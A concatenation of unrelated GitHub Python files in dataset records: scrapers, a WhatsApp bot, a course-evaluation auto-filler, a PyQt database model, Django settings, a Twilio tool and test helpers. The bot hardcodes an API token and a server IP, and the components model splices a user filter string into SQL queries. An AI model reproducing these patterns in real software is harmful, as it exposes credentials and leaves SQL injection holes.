balance_rates.append(np.nan)\r\n culture_rates.append(np.nan)\r\n promotion_rates.append(np.nan)\r\n executives_rates.append(np.nan)\r\n recommendation_rates.append(np.nan)\r\n CEO_rates.append(np.nan)\r\n growth_rates.append(np.nan)\r\n pass\r\n\r\n time.sleep(1)\r\n\r\nbrowser.quit()\r\n\r\n# print(company_names)\r\n# print(total_rates)\r\n# print(salary_rates)\r\n# print(balance_rates)\r\n# print(culture_rates)\r\n# print(promotion_rates)\r\n# print(executives_rates)\r\n# print(recommendation_rates)\r\n# print(CEO_rates)\r\n# print(growth_rates)\r\n\r\njobplanet_rates = pd.DataFrame({'기업명': company_names, 'TotalAvg': total_rates, 'Welfare': salary_rates, 'Balance': balance_rates,\r\n 'Culture': culture_rates, 'Promotion': promotion_rates, 'Executive': executives_rates, \r\n 'Recommend':recommendation_rates, 'Support': CEO_rates, 'Growth': growth_rates\r\n })\r\n\r\n\r\nprint(jobplanet_rates)\r\njobplanet_rates.to_csv(\"jobplanet_rates_02_06.csv\", encoding=\"cp949\")\r\n","repo_name":"JuNoe2020/connet_class_2021","sub_path":"Pilot_Project/WebScraping/jobplanet_rates_scraping.py","file_name":"jobplanet_rates_scraping.py","file_ext":"py","file_size_in_byte":6206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71661738483","text":"import time, datetime, redis, requests, json\n\nAPIUrl = 'https://api.green-api.com/waInstance7948/'\ntoken = '7c6a91b25c8e0d1a14bce0b7118d76668bc5e2dddc06ac9783'\n\nr = redis.Redis(host='45.147.176.206', port=6379, db=0)\n\n\ntext_buzzy = \"Для продолжения заказа нажмите 1 или Ваш заказ останется не принятым! \\nЛибо свяжитесь с оператором по номеру:+7 708 471 3855(whatsapp)\\nЗвонки принимаются до 17:30\"\n\n\ndef send_text(phone,text):\n if len(phone) == 10:\n phone = '7' + phone\n\n url = APIUrl + 'sendMessage/' + token\n\n payload = {\"chatId\": phone + '@c.us',\n \"message\": text}\n headers = {\n 'Content-Type': 'application/json'\n }\n\n response = requests.request(\"POST\", url, headers=headers, data=json.dumps(payload))\n return \"\"\n\ndef process_buzzy():\n '''Процедура выполняет проверку чатов, где клиент написал первое сообщение и не стал\n реагировать на команды бота\n '''\n print('запущен Buzzy')\n while True:\n time.sleep(10)\n res = r.hgetall('buzzy')\n if res:\n for i in res:\n cur_unix = int(datetime.datetime.now().timestamp())\n cur_time = int(res[i])\n if cur_unix - cur_time > 300:\n number = i.decode('utf-8')\n send_text(number,text_buzzy)\n print(\"Отправка сообщения!\",number)\n r.hdel('buzzy',i)\n\n else:\n time.sleep(290)\n\nif __name__ == '__main__':\n process_buzzy()\n","repo_name":"Yuriy2018/Django_water","sub_path":"whatsapp_bot/buzzy.py","file_name":"buzzy.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71854487282","text":"from bs4 import BeautifulSoup\n\n\n# 理论课参数\ndef get_params(html, course, content):\n soup = BeautifulSoup(html, \"html.parser\")\n pj_panel_body = soup.find(attrs={'class': 'panel-body xspj-body'})\n pj_dxs = pj_panel_body.find_all(attrs={'class': 'panel panel-default panel-pjdx'})\n data = {\n 'ztpjbl': pj_panel_body['data-ztpjbl'],\n 'jszdpjbl': pj_panel_body['data-jszdpjbl'],\n 'xykzpjbl': pj_panel_body['data-xykzpjbl'],\n 'jxb_id': course['jxb_id'],\n 'kch_id': course['kch_id'],\n 'jgh_id': course['jgh_id'],\n 'xsdm': course['xsdm'],\n # 评价提交状态参数,取值含义:已评价并保存过当前课程:0,已提交评价:1,未评价:-1\n 'tjzt': course['tjzt'],\n }\n # 评价对象\n for i, pj_dx in enumerate(pj_dxs):\n data['modelList[%s].pjmbmcb_id' % i] = pj_dx['data-pjmbmcb_id']\n data['modelList[%s].pjdxdm' % i] = pj_dx['data-pjdxdm']\n data['modelList[%s].fxzgf' % i] = ''\n data['modelList[%s].py' % i] = content\n data['modelList[%s].xspfb_id' % i] = pj_dx['data-xspfb_id']\n # 评价状态参数,取值含义:已评价并保存(已评完):1,未评完/未评价:0。\n # 所以如果需要在评价完成后将当前课程评价状态设置为已评完,则需要将该值设置为1,设置为0则会显示为未评完状态\n data['modelList[%s].pjzt' % i] = 1\n # 评价类别\n xspj_tables = pj_dx.find_all(attrs={'class': 'table table-bordered table-xspj'})\n for j, xspj_table in enumerate(xspj_tables):\n data['modelList[%s].xspjList[%s].pjzbxm_id' % (i, j)] = xspj_table['data-pjzbxm_id']\n # 评价项\n xspj_trs = xspj_table.find_all(attrs={'class': 'tr-xspj'})\n for x, xspj_tr in enumerate(xspj_trs):\n # 评价等级选项\n # 很好:A44133C16D2333CAE053C7EBFF74E4B8\n # 较好:A44133C16D2433CAE053C7EBFF74E4B8\n data[\"modelList[%s].xspjList[%s].childXspjList[%s].pfdjdmxmb_id\" % (i, j, x)] = \"A44133C16D2333CAE053C7EBFF74E4B8\"\n # 每个评价项不同\n data[\"modelList[%s].xspjList[%s].childXspjList[%s].pjzbxm_id\" % (i, j, x)] = xspj_tr['data-pjzbxm_id']\n # 所有都相同\n data[\"modelList[%s].xspjList[%s].childXspjList[%s].pfdjdmb_id\" % (i, j, x)] = xspj_tr['data-pfdjdmb_id']\n # 每个评价对象不同\n data[\"modelList[%s].xspjList[%s].childXspjList[%s].zsmbmcb_id\" % (i, j, x)] = xspj_tr['data-zsmbmcb_id']\n return data","repo_name":"Starix610/gdou-tools-evaluate","sub_path":"evaluate_params.py","file_name":"evaluate_params.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"36367720560","text":"from PyQt5.QtCore import QObject, pyqtSignal, pyqtProperty, pyqtSlot\nfrom PyQt5.QtSql import QSqlQuery\nfrom .basemodel import BaseModel\n\n\nclass Components(QObject):\n\n modelChanged = pyqtSignal(QObject)\n filterChanged = pyqtSignal(str)\n workshopChanged = pyqtSignal(int)\n groupChanged = pyqtSignal(bool)\n\n def __init__(self, parent: QObject=None) -> None:\n super().__init__(parent)\n self._model = ComponentsModel()\n self.workshopChanged.connect(self.refresh)\n self.groupChanged.connect(self.refresh)\n self.filterChanged.connect(self.refresh)\n self._workshop = -1\n self._group = False\n self._filter = \"\"\n self.refresh()\n\n @pyqtProperty(QObject, notify=modelChanged)\n def model(self):\n return self._model\n\n @pyqtProperty(str, notify=filterChanged)\n def filter(self):\n return self._filter\n\n @filter.setter\n def filter(self, filter: str):\n self._filter = filter\n self.filterChanged.emit(filter)\n\n @pyqtProperty(int, notify=workshopChanged)\n def workshop(self):\n return self._workshop\n\n @workshop.setter\n def workshop(self, workshop: int):\n self._workshop = workshop\n self.workshopChanged.emit(workshop)\n\n @pyqtProperty(bool, notify=groupChanged)\n def group(self):\n return self._group\n\n @group.setter\n def group(self, group: bool):\n self._group = group\n self.groupChanged.emit(group)\n\n @pyqtSlot(str, str, int) \n def addComponent(self, seriale: str, codiceean :str, idofficina :int):\n query = QSqlQuery()\n query.prepare(\"\"\"INSERT INTO public.componenti\n (seriale, codiceean, idofficina)\n VALUES (:serial, :eancode, :idworkshop)\"\"\")\n query.bindValue(\":serial\", seriale)\n query.bindValue(\":eancode\", codiceean)\n query.bindValue(\":idworkshop\", idofficina)\n query.exec()\n\n self.refresh()\n\n @pyqtSlot(int, int, result=bool)\n def assignComponentTo(self, idcomponente: int, idservizio: int):\n query = QSqlQuery()\n query.prepare(\"\"\"UPDATE public.componenti\n SET idservizio=:idservice\n WHERE idcomponente=:idcomponent\n \"\"\")\n query.bindValue(\":idservice\", idservizio)\n query.bindValue(\":idcomponent\", idcomponente)\n return query.exec()\n\n @pyqtSlot()\n def refresh(self):\n if self._workshop < 0:\n if self._group:\n self._model.setQuery(\"\"\"SELECT NULL as idcomponente, NULL as seriale, CC.nome, CC.marca, CC.prezzo, COUNT(C.seriale) as quantita \n FROM public.componenti AS C\n JOIN public.classe_componenti AS CC ON C.codiceean = CC.codiceean\n WHERE idservizio IS NULL AND (LOWER(CC.marca) LIKE '\"\"\" + self._filter + \"\"\"%' OR LOWER(CC.nome) LIKE '\"\"\" + self._filter + \"\"\"%')\n GROUP BY CC.codiceean \n \"\"\")\n else:\n self._model.setQuery(\"\"\"SELECT C.idcomponente, C.seriale, CC.nome, CC.marca, CC.prezzo \n FROM public.componenti AS C\n JOIN public.classe_componenti AS CC ON C.codiceean = CC.codiceean\n WHERE idservizio IS NULL AND (LOWER(CC.marca) LIKE '\"\"\" + self._filter + \"\"\"%' OR LOWER(CC.nome) LIKE '\"\"\" + self._filter + \"\"\"%')\n \"\"\")\n return\n\n query = QSqlQuery() \n if self._group:\n query.prepare(\"\"\"SELECT NULL as idcomponente, NULL as seriale, CC.nome, CC.marca, CC.prezzo, COUNT(C.seriale) as quantita \n FROM public.componenti AS C\n JOIN public.classe_componenti AS CC ON C.codiceean = CC.codiceean\n WHERE idservizio IS NULL AND idofficina = :workshop AND (LOWER(CC.marca) LIKE '\"\"\" + self._filter + \"\"\"%' OR LOWER(CC.nome) LIKE '\"\"\" + self._filter + \"\"\"%')\n GROUP BY CC.codiceean \n \"\"\")\n query.bindValue(\":workshop\", self._workshop)\n else:\n query.prepare(\"\"\"SELECT C.idcomponente, C.seriale, CC.nome, CC.marca, CC.prezzo \n FROM public.componenti AS C\n JOIN public.classe_componenti AS CC ON C.codiceean = CC.codiceean\n WHERE idservizio IS NULL AND idofficina = :workshop AND (LOWER(CC.marca) LIKE '\"\"\" + self._filter + \"\"\"%' OR LOWER(CC.nome) LIKE '\"\"\" + self._filter + \"\"\"%')\n \"\"\") \n query.bindValue(\":workshop\", self._workshop)\n query.exec()\n self._model.setQuery(query)\n \n\nclass ComponentsModel(BaseModel):\n def __init__(self, parent:QObject=None) -> None:\n super(ComponentsModel, self).__init__([\"idcomponente\", \"seriale\", \"nome\", \"marca\", \"prezzo\", \"quantita\"])\n\n\nclass ClassesModel(BaseModel):\n def __init__(self, parent:QObject=None) -> None:\n super(ComponentsModel, self).__init__([\"codiceean\", \"nome\", \"marca\"])\n super().setQuery(\"SELECT codiceean, nome, marca FROM public.classe_componenti\")\n","repo_name":"Zimbrando/car-repair-shop","sub_path":"model/componentsmodel.py","file_name":"componentsmodel.py","file_ext":"py","file_size_in_byte":5384,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"14066141142","text":"# link: https://leetcode.com/problems/detonate-the-maximum-bombs/\n\nclass Solution:\n def maximumDetonation(self, bombs: List[List[int]]) -> int:\n graph = {}\n n = len(bombs)\n for i in range(n):\n graph[i] = []\n x1, y1, r = bombs[i]\n for j in range(n):\n x2, y2, _ = bombs[j]\n if i != j and (x2-x1) ** 2 + (y2-y1) ** 2 <= r ** 2:\n graph[i].append(j)\n \n def dfs(bomb: int, visited: set) -> int:\n if bomb in visited:\n return 0\n visited.add(bomb)\n count = 1\n for neighbor in graph[bomb]:\n count += dfs(neighbor, visited)\n return count\n \n return max(dfs(bomb, set()) for bomb in graph)\n ","repo_name":"rbrn1999/leetcode-sol","sub_path":"problems/2101. Detonate the Maximum Bombs.py","file_name":"2101. Detonate the Maximum Bombs.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36831785995","text":"import os\n\n#==============================================================================\n# Generic Django project settings\n#==============================================================================\n\nDEBUG = False\nTEMPLATE_DEBUG = DEBUG\n\nADMINS = (\n # ('Your Name', 'your_email@example.com'),\n)\n\nMANAGERS = ADMINS\n\nSITE_ID = 1\n\nALLOWED_HOSTS = []\n\nTIME_ZONE = 'America/Chicago'\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\nLANGUAGE_CODE = 'en-us'\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = '{{ secret_key }}'\n#SECRET_KEY = '4daa9l(*b&d0w8+@$%4=mf5u-r+5stn7e9-3h4d^#fw_mm6sy&'\n\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'django.contrib.admin',\n #'django.contrib.admindocs',\n 'busys.apps.core',\n 'busys.apps.reservation',\n 'busys.apps.account',\n 'south',\n # '{{ project_name }}.core'\n)\n\n#==============================================================================\n# Calculation of directories relative to the project module location\n#==============================================================================\n\nSITE_ROOT = os.path.dirname(os.path.realpath(__file__))\nSITE_ROOT = os.path.join(SITE_ROOT, '..')\n\n\n#==============================================================================\n# Project URLS and media settings\n#==============================================================================\n\nROOT_URLCONF = '{{ project_name }}.urls'\n\nMEDIA_ROOT = os.path.join(SITE_ROOT, 'media')\nMEDIA_URL = '/media/'\n\nSTATIC_ROOT = os.path.join(SITE_ROOT, 'statics')\nSTATIC_URL = '/statics/'\n\n# Additional locations of statics files\nSTATICFILES_DIRS = (\n # Put strings here, like \"/home/html/statics\" or \"C:/www/django/statics\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n)\n\n# List of finder classes that know how to find statics files in\n# various locations.\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n# 'django.contrib.staticfiles.finders.DefaultStorageFinder',\n)\n\n#==============================================================================\n# Templates\n#==============================================================================\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n# 'django.template.loaders.eggs.Loader',\n)\n\nTEMPLATE_DIRS = (\n # Put strings here, like \"/home/html/django_templates\" or \"C:/www/django/templates\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n os.path.join(SITE_ROOT, 'templates'),\n)\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n 'django.core.context_processors.debug',\n 'django.core.context_processors.i18n',\n 'django.core.context_processors.media',\n 'django.core.context_processors.static',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n # required by grappelli\n 'django.core.context_processors.request',\n)\n\n#==============================================================================\n# Middleware\n#==============================================================================\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n # Uncomment the next line for simple clickjacking protection:\n # 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'apps.core.middleware.threadlocals.ThreadLocalsMiddleware',\n)\n\n#==============================================================================\n# Auth / security\n#==============================================================================\n\n#==============================================================================\n# Miscellaneous project settings\n#==============================================================================\n\n# Python dotted path to the WSGI application used by Django's runserver.\nWSGI_APPLICATION = 'busys.wsgi.application'\n\n#==============================================================================\n# Third party app settings\n#==============================================================================\n\n\n#==============================================================================\n# Logging\n#==============================================================================\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'filters': {\n 'require_debug_false': {\n '()': 'django.utils.log.RequireDebugFalse'\n }\n },\n 'handlers': {\n 'mail_admins': {\n 'level': 'ERROR',\n 'filters': ['require_debug_false'],\n 'class': 'django.utils.log.AdminEmailHandler'\n }\n },\n 'loggers': {\n 'django.request': {\n 'handlers': ['mail_admins'],\n 'level': 'ERROR',\n 'propagate': True,\n },\n }\n}\n\n#==============================================================================\n# Config for mailler\n#==============================================================================\n\nEMAIL_HOST = 'smtp.gmail.com'\nEMAIL_PORT = 587\nEMAIL_HOST_USER = 'admin@admin.com'\nEMAIL_HOST_PASSWORD = ''\nEMAIL_USE_TLS = True\nEMAIL_SUBJECT = ''","repo_name":"rtbustamantec/busys","sub_path":"busys/settings/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":5766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70738652722","text":"try:\n x = int(input())\n y = int(input())\n\nexcept ValueError:\n print(\"O valor inserido não pode ser convertido para float\")\n\nelse: \n if x == 0 and y == 1: \n print(1)\n else:\n print(0)","repo_name":"TsSullivan/questionarios_python","sub_path":"Questionario_3/04_criterio_seguro.py","file_name":"04_criterio_seguro.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30866420395","text":"import pytest\nimport os\nimport glob\nimport pandas as pd\nimport xml\nimport xml.etree.ElementTree as ET\nfrom locoerlt.utilis import PATH_RAW, PATH_INTERIM\n\n# Output emission factors path.\npath_emis_rate = glob.glob(\n os.path.join(PATH_INTERIM, f\"emission_factor_[\" f\"0-9]*-*-*.csv\")\n)[0]\nns = {\n \"header\": \"http://www.exchangenetwork.net/schema/header/2\",\n \"payload\": \"http://www.exchangenetwork.net/schema/cer/1\",\n}\npath_xml_templ = os.path.join(PATH_INTERIM, \"xml_rail_templ_tti.xml\")\n\n\n@pytest.fixture()\ndef get_uniq_pol_list():\n return set(pd.read_csv(path_emis_rate).pollutant.unique())\n\n\n@pytest.fixture()\ndef get_annual_pol_list_xml():\n templ_tree = ET.parse(path_xml_templ)\n templ_root = templ_tree.getroot()\n templ_root_pol_code_elem = templ_root.findall(\n \".//payload:ReportingPeriod\"\n \"/[payload:ReportingPeriodTypeCode='A']\"\n \"/*\"\n \"/payload:PollutantCode\",\n ns,\n )\n return set([elem.text for elem in templ_root_pol_code_elem])\n\n\n@pytest.fixture()\ndef get_o3d_pol_list_xml():\n templ_tree = ET.parse(path_xml_templ)\n templ_root = templ_tree.getroot()\n templ_root_pol_code_elem = templ_root.findall(\n \".//payload:ReportingPeriod\"\n \"/[payload:ReportingPeriodTypeCode='O3D']\"\n \"/*\"\n \"/payload:PollutantCode\",\n ns,\n )\n return set([elem.text for elem in templ_root_pol_code_elem])\n\n\ndef test_get_annual_pol_list_xml_equal_input_list(\n get_annual_pol_list_xml, get_uniq_pol_list\n):\n assert get_annual_pol_list_xml == get_uniq_pol_list\n\n\ndef test_get_o3d_pol_list_xml_equal_input_list(get_o3d_pol_list_xml):\n assert get_o3d_pol_list_xml == set(\n [\"CO\", \"NH3\", \"NOX\", \"PM10-PRI\", \"PM25-PRI\", \"SO2\", \"VOC\"]\n )\n","repo_name":"Apoorb/Locomotive-Emission-Inventory","sub_path":"test/test_cersxml_templ.py","file_name":"test_cersxml_templ.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30802645803","text":"import os.path\nfrom flask import render_template, request, flash, redirect\nfrom clint.textui import colored\nimport gdata.docs.data\nimport gdata.docs.client\nimport gdata.spreadsheet.service\n\nfrom rapid_response_kit.utils.clients import twilio, get_google_creds\nfrom rapid_response_kit.utils.helpers import (\n parse_numbers,\n echo_twimlet,\n twilio_numbers,\n check_is_valid_url\n)\nfrom twilio.twiml import Response\n\n\ndef install(app):\n (user, password) = get_google_creds(app.config)\n if user is None or password is None:\n print(colored.red(\n '''\n Volunteer Signup requires Google credentials.\n please add GOOGLE_ACCOUNT_USER and GOOGLE_ACCOUNT_PASS\n to rapid_response_kit/utils/config.py'''\n ))\n return\n\n app.config.apps.register(\n 'volunteer-signup',\n 'Volunteer Signup',\n '/volunteer-signup'\n )\n\n spreadsheet_key = ''\n google_client = None\n phone_number = ''\n\n @app.route('/volunteer-signup', methods=['GET'])\n def show_volunteer_signup():\n numbers = twilio_numbers()\n return render_template(\"volunteer-signup.html\", numbers=numbers)\n\n @app.route('/volunteer-signup', methods=['POST'])\n def do_volunteer_signup():\n\n def create_spreadsheet():\n global google_client\n global spreadsheet_key\n (user, password) = get_google_creds(app.config)\n google_client = gdata.docs.client.DocsClient(\n source='VolunteerSignup'\n )\n google_client.client_login(\n user,\n password,\n source='VolunteerSignup',\n service='writely'\n )\n document = gdata.docs.data.Resource(\n type='spreadsheet',\n title=request.form.get('file-name', 'signup')\n )\n document = google_client.CreateResource(document)\n spreadsheet_key = document.GetId().split(\"%3A\")[1]\n\n def update_column_names():\n global google_client\n global spreadsheet_key\n google_client = gdata.spreadsheet.service.SpreadsheetsService()\n google_client.ClientLogin(user, password)\n google_client.UpdateCell(1, 1, 'name', spreadsheet_key)\n google_client.UpdateCell(1, 2, 'phone', spreadsheet_key)\n google_client.UpdateCell(1, 3, 'response', spreadsheet_key)\n\n numbers = parse_numbers(request.form.get('numbers', ''))\n\n # Update phone number url for replys\n url = \"{}/handle?{}\".format(request.base_url, request.query_string)\n twiml = '''\n System is down for maintenance\n '''\n fallback_url = echo_twimlet(twiml)\n\n try:\n client = twilio()\n client.phone_numbers.update(\n request.form['twilio_number'],\n friendly_name='[RRKit] Volunteer Signup',\n sms_url=url,\n sms_method='POST',\n sms_fallback_url=fallback_url,\n sms_fallback_method='GET'\n )\n\n except Exception as e:\n print(e)\n flash('Error configuring phone number', 'danger')\n\n create_spreadsheet()\n update_column_names()\n\n client = twilio()\n # Since the value of the form is a PN sid need to fetch the number\n global phone_number\n phoneNumber = client.phone_numbers.get(request.form['twilio_number'])\n phone_number = phoneNumber.phone_number\n\n for number in numbers:\n try:\n client.messages.create(\n body=request.form['message'],\n to=number,\n from_=phoneNumber.phone_number,\n media_url=check_is_valid_url(request.form.get('media', ''))\n )\n flash(\"Sent {} the message.\".format(number), 'success')\n except Exception:\n flash(\"Failed to send to {}\".format(number), 'danger')\n\n return redirect('/volunteer-signup')\n\n @app.route('/volunteer-signup/handle', methods=['POST'])\n def add_volunteer():\n\n def insert_row():\n global google_client\n global spreadsheet_key\n row = {}\n row['name'] = f_name + ' ' + l_name\n row['phone'] = from_number\n row['response'] = response.upper()\n google_client.InsertRow(row, spreadsheet_key)\n\n response = Response()\n from_number = request.values.get('From')\n body = request.values.get('Body')\n\n client = twilio()\n global phone_number\n text_body = \"\"\n try:\n (f_name, l_name, response) = body.strip().split(' ')\n insert_row()\n text_body = \"Thanks! Your response has been recorded.\"\n except ValueError:\n text_body = \"Please enter a valid format.\"\n except Exception:\n text_body = '''There was a problem recording your response.\n Please try again.'''\n\n client.messages.create(\n body=text_body,\n to=from_number,\n from_=phone_number\n )\n\n return str(response)\n","repo_name":"Twilio-org/rapid-response-kit","sub_path":"rapid_response_kit/tools/volunteer_signup.py","file_name":"volunteer_signup.py","file_ext":"py","file_size_in_byte":5281,"program_lang":"python","lang":"en","doc_type":"code","stars":304,"dataset":"github-code","pt":"75"} +{"seq_id":"9936566122","text":"import os\nimport random\nimport string\nimport couchdb\nimport pytest\nimport sys\n\nfrom six.moves.urllib.parse import urljoin\nfrom six import StringIO\nfrom uuid import uuid4\nfrom mock import Mock\n\nfrom twisted.trial import unittest\n\nfrom leap.common.testing.basetest import BaseLeapTest\n\nfrom leap.soledad.common import l2db\nfrom leap.soledad.common.l2db import sync\nfrom leap.soledad.common.l2db.remote import http_database\n\nfrom leap.soledad.common.document import SoledadDocument\nfrom leap.soledad.common.couch import CouchDatabase\nfrom leap.soledad.common.couch.state import CouchServerState\n\nfrom leap.soledad.client import Soledad\nfrom leap.soledad.client import http_target\nfrom leap.soledad.client import auth\nfrom leap.soledad.client._crypto import is_symmetrically_encrypted\nfrom leap.soledad.client._db.sqlcipher import SQLCipherDatabase\nfrom leap.soledad.client._db.sqlcipher import SQLCipherOptions\n\nfrom leap.soledad.server import SoledadApp\n\nif sys.version_info[0] < 3:\n from pysqlcipher import dbapi2\nelse:\n from pysqlcipher3 import dbapi2\n\n\nPASSWORD = '123456'\nADDRESS = 'user-1234'\n\n\ndef make_local_db_and_target(test):\n db = test.create_database('test')\n st = db.get_sync_target()\n return db, st\n\n\ndef make_document_for_test(test, doc_id, rev, content, has_conflicts=False):\n return SoledadDocument(doc_id, rev, content, has_conflicts=has_conflicts)\n\n\ndef make_sqlcipher_database_for_test(test, replica_uid):\n db = SQLCipherDatabase(\n SQLCipherOptions(':memory:', PASSWORD))\n db._set_replica_uid(replica_uid)\n return db\n\n\ndef copy_sqlcipher_database_for_test(test, db):\n # DO NOT COPY OR REUSE THIS CODE OUTSIDE TESTS: COPYING U1DB DATABASES IS\n # THE WRONG THING TO DO, THE ONLY REASON WE DO SO HERE IS TO TEST THAT WE\n # CORRECTLY DETECT IT HAPPENING SO THAT WE CAN RAISE ERRORS RATHER THAN\n # CORRUPT USER DATA. USE SYNC INSTEAD, OR WE WILL SEND NINJA TO YOUR\n # HOUSE.\n new_db = make_sqlcipher_database_for_test(test, None)\n tmpfile = StringIO()\n for line in db._db_handle.iterdump():\n if 'sqlite_sequence' not in line: # work around bug in iterdump\n tmpfile.write('%s\\n' % line)\n tmpfile.seek(0)\n new_db._db_handle = dbapi2.connect(':memory:')\n new_db._db_handle.cursor().executescript(tmpfile.read())\n new_db._db_handle.commit()\n new_db._set_replica_uid(db._replica_uid)\n new_db._factory = db._factory\n return new_db\n\n\nSQLCIPHER_SCENARIOS = [\n ('sqlcipher', {'make_database_for_test': make_sqlcipher_database_for_test,\n 'copy_database_for_test': copy_sqlcipher_database_for_test,\n 'make_document_for_test': make_document_for_test, }),\n]\n\n\ndef make_soledad_app(state):\n return SoledadApp(state)\n\n\ndef make_token_soledad_app(state):\n application = SoledadApp(state)\n\n def _verify_authentication_data(uuid, auth_data):\n if uuid.startswith('user-') and auth_data == 'auth-token':\n return True\n return False\n\n # we test for action authorization in leap.soledad.common.tests.test_server\n def _verify_authorization(uuid, environ):\n return True\n\n application._verify_authentication_data = _verify_authentication_data\n application._verify_authorization = _verify_authorization\n return application\n\n\ndef make_soledad_document_for_test(test, doc_id, rev, content,\n has_conflicts=False):\n return SoledadDocument(\n doc_id, rev, content, has_conflicts=has_conflicts)\n\n\ndef make_token_http_database_for_test(test, replica_uid):\n test.startServer()\n test.request_state._create_database(replica_uid)\n\n class _HTTPDatabaseWithToken(\n http_database.HTTPDatabase, auth.TokenBasedAuth):\n\n def set_token_credentials(self, uuid, token):\n auth.TokenBasedAuth.set_token_credentials(self, uuid, token)\n\n def _sign_request(self, method, url_query, params):\n return auth.TokenBasedAuth._sign_request(\n self, method, url_query, params)\n\n http_db = _HTTPDatabaseWithToken(test.getURL('test'))\n http_db.set_token_credentials('user-uuid', 'auth-token')\n return http_db\n\n\ndef copy_token_http_database_for_test(test, db):\n # DO NOT COPY OR REUSE THIS CODE OUTSIDE TESTS: COPYING U1DB DATABASES IS\n # THE WRONG THING TO DO, THE ONLY REASON WE DO SO HERE IS TO TEST THAT WE\n # CORRECTLY DETECT IT HAPPENING SO THAT WE CAN RAISE ERRORS RATHER THAN\n # CORRUPT USER DATA. USE SYNC INSTEAD, OR WE WILL SEND NINJA TO YOUR\n # HOUSE.\n http_db = test.request_state._copy_database(db)\n http_db.set_token_credentials(http_db, 'user-uuid', 'auth-token')\n return http_db\n\n\ndef sync_via_synchronizer(test, db_source, db_target, trace_hook=None,\n trace_hook_shallow=None):\n target = db_target.get_sync_target()\n trace_hook = trace_hook or trace_hook_shallow\n if trace_hook:\n target._set_trace_hook(trace_hook)\n return sync.Synchronizer(db_source, target).sync()\n\n\nclass MockedSharedDBTest(object):\n\n def get_default_shared_mock(self, put_doc_side_effect=None,\n get_doc_return_value=None):\n \"\"\"\n Get a default class for mocking the shared DB\n \"\"\"\n class defaultMockSharedDB(object):\n get_doc = Mock(return_value=get_doc_return_value)\n put_doc = Mock(side_effect=put_doc_side_effect)\n open = Mock(return_value=None)\n close = Mock(return_value=None)\n\n def __call__(self):\n return self\n return defaultMockSharedDB\n\n\ndef soledad_sync_target(\n test, path, source_replica_uid=uuid4().hex):\n creds = {'token': {\n 'uuid': 'user-uuid',\n 'token': 'auth-token',\n }}\n return http_target.SoledadHTTPSyncTarget(\n test.getURL(path),\n source_replica_uid,\n creds,\n test._soledad._crypto,\n None) # cert_file\n\n\n# redefine the base leap test class so it inherits from twisted trial's\n# TestCase. This is needed so trial knows that it has to manage a reactor and\n# wait for deferreds returned by tests to be fired.\n\nBaseLeapTest = type(\n 'BaseLeapTest', (unittest.TestCase,), dict(BaseLeapTest.__dict__))\n\n\nclass BaseSoledadTest(BaseLeapTest, MockedSharedDBTest):\n\n \"\"\"\n Instantiates Soledad for usage in tests.\n \"\"\"\n\n @pytest.mark.usefixtures(\"method_tmpdir\")\n def setUp(self):\n # The following snippet comes from BaseLeapTest.setUpClass, but we\n # repeat it here because twisted.trial does not work with\n # setUpClass/tearDownClass.\n\n self.home = self.tempdir\n\n # config info\n self.db1_file = os.path.join(self.tempdir, \"db1.u1db\")\n self.db2_file = os.path.join(self.tempdir, \"db2.u1db\")\n self.email = ADDRESS\n # open test dbs\n self._db1 = l2db.open(self.db1_file, create=True,\n document_factory=SoledadDocument)\n self._db2 = l2db.open(self.db2_file, create=True,\n document_factory=SoledadDocument)\n # get a random prefix for each test, so we do not mess with\n # concurrency during initialization and shutting down of\n # each local db.\n self.rand_prefix = ''.join(\n map(lambda x: random.choice(string.ascii_letters), range(6)))\n\n # initialize soledad by hand so we can control keys\n # XXX check if this soledad is actually used\n self._soledad = self._soledad_instance(\n prefix=self.rand_prefix, user=self.email)\n\n def tearDown(self):\n self._db1.close()\n self._db2.close()\n self._soledad.close()\n\n def _delete_temporary_dirs():\n # XXX should not access \"private\" attrs\n for f in [self._soledad.local_db_path,\n self._soledad.secrets.secrets_path]:\n if os.path.isfile(f):\n os.unlink(f)\n\n from twisted.internet import reactor\n reactor.addSystemEventTrigger(\n \"after\", \"shutdown\", _delete_temporary_dirs)\n\n def 